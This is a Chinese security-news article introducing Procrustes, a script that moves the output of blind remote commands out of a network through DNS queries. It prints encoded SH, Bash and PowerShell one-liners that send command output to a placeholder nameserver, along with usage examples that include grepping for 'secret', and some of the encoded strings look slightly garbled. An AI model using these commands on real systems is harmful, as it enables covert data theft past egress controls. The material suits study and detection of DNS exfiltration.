freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

安全研究 | 使用Procrustes从DNS流量中提取数据
2021-03-20 23:42:04

Procrustes

Procrustes是一个能够自动从DNS流量中提取出数据的Bash脚本,我们可以使用该脚本来检测服务器端执行的Blind命令。因为在有些情况下,除了DNS流量之外,服务器端的所有出站流量都会被屏蔽,这也就意味着攻击者将有可能利用DNS流量来执行攻击行为,因此Procrustes将能够帮助广大研究人员分析并检测通过DNS流量执行的Blind命令。

该脚本当前支持SH、Bash和PowerShell,并且兼容exec风格的命令执行,比如说ja*va.lang.Runtime.exec等等。

工具运行演示样例

Unstaged:

Staged:

对于它的操作,脚本将我们要在目标服务器上运行的命令作为输入,并根据目标Shell对其进行转换,以便允许通过DNS对其输出进行过滤。在命令被转换之后,它被返回给“调度器”。这个调度器是一个由用户提供的程序,负责将命令作为输入,并通过任何必要的方式(例如利用漏洞)在目标服务器上执行。在目标服务器上执行命令后,它将触发对包含数据块的DNS名称服务器的DNS请求。Procrustes将能够监听这些请求,直到用户提供的命令的输出被完全过滤。

下面给出的是支持的命令转换形式,针对的是提取命令“ls”生成的转换命令。

SH:

sh -c $@|base64${IFS}-d|sh . echo IGRpZyBAMCArdHJpZXM9NSBgKGxzKXxiYXNlNjQgLXcwfHdjIC1jYC5sZW4xNjAzNTQxMTc*4LndoYXRldi5lcgo=

Bash:

bash -c {echo,IG5zbG9va3VwIGAobHMpfGJhc2U2NCAtdzB8d2MgLWNgLmxlbi4xNjAzMDMwNTYwLndoYXRldi5lcgo=}|{base64,-d}|bash

PowerShell:

powershell -enc UgBlAHMAbwBsAHYAZQAtAEQAbgBzAE4AYQBtAGUAIAAkACgAIgB7ADAAfQAuAHsAMQB9AC*4AewAyAH0AIgAgAC0AZgAgACgAWwBDAG8AbgB2AGUAcgB0AF0AOgA6AFQAbwBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoAFsAUwB5AHMAdABlAG0ALgBUAGUAeAB0AC*4ARQBuAGMAbwBkAGkAbgBnAF0AOgA6AFUA*VABGADgALgBHAGUAdABCAHkAdABlAHMAKAAoAGwAcwApACkAKQAuAGwAZQBuAGcAdABoACkALAAiAGwAZQBuACIALAAiADEANgAwADMAMAAzADAANAA4ADgALgB3AGgAYQB0AGUAdgAuAGUAcgAiACkACgA=

工具下载

广大研究人员可以使用下列命令将该项目源码克隆至本地:

git clone https://github.com/vp777/procrustes.git

工具使用

1、本地Bash测试:

./procroustes_chunked.sh -h whatev.er -d "dig @0 +tries=5" -x dispatcher_examples/local_bash.sh -- 'ls -lha|grep secret' < <(stdbuf -oL tcpdump --immediate -l -i any udp port 53)

2、本地PowerShell测试(WSL2):

stdbuf -oL tcpdump --immediate -l -i any udp port 53|./procroustes_chunked.sh -w ps -h whatev.er -d "Resolve-DnsName -Server wsl2_IP -Name" -x dispatcher_examples/local_powershell_wsl2.sh -- 'gci | % {$_.Name}'

3、PowerShell样例,我们SSH进入至我们的NS并获取传入的DNS请求:

./procroustes_chunked.sh -w ps -h yourdns.host -d "Resolve-DnsName" -x dispatcher_examples/curl_waf.sh -- 'gci | % {$_.Name}' < <(stdbuf -oL ssh user@HOST 'sudo tcpdump --immediate -l udp port 53')

4、获取更多操作选项:

./procroustes_chunked.sh --help

项目地址

Procrustes:【GitHub传送门

参考资料

https://github.com/0xC01DF00D/Collabfiltrator

https://github.com/no0be/DNSlivery


# DNS探测 # DNS技术 # 流量检测
本文为 独立观点,未经允许不得转载,授权请联系FreeBuf客服小蜜蜂,微信:freebee2022
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
相关推荐
  • 0 文章数
  • 0 关注者
文章目录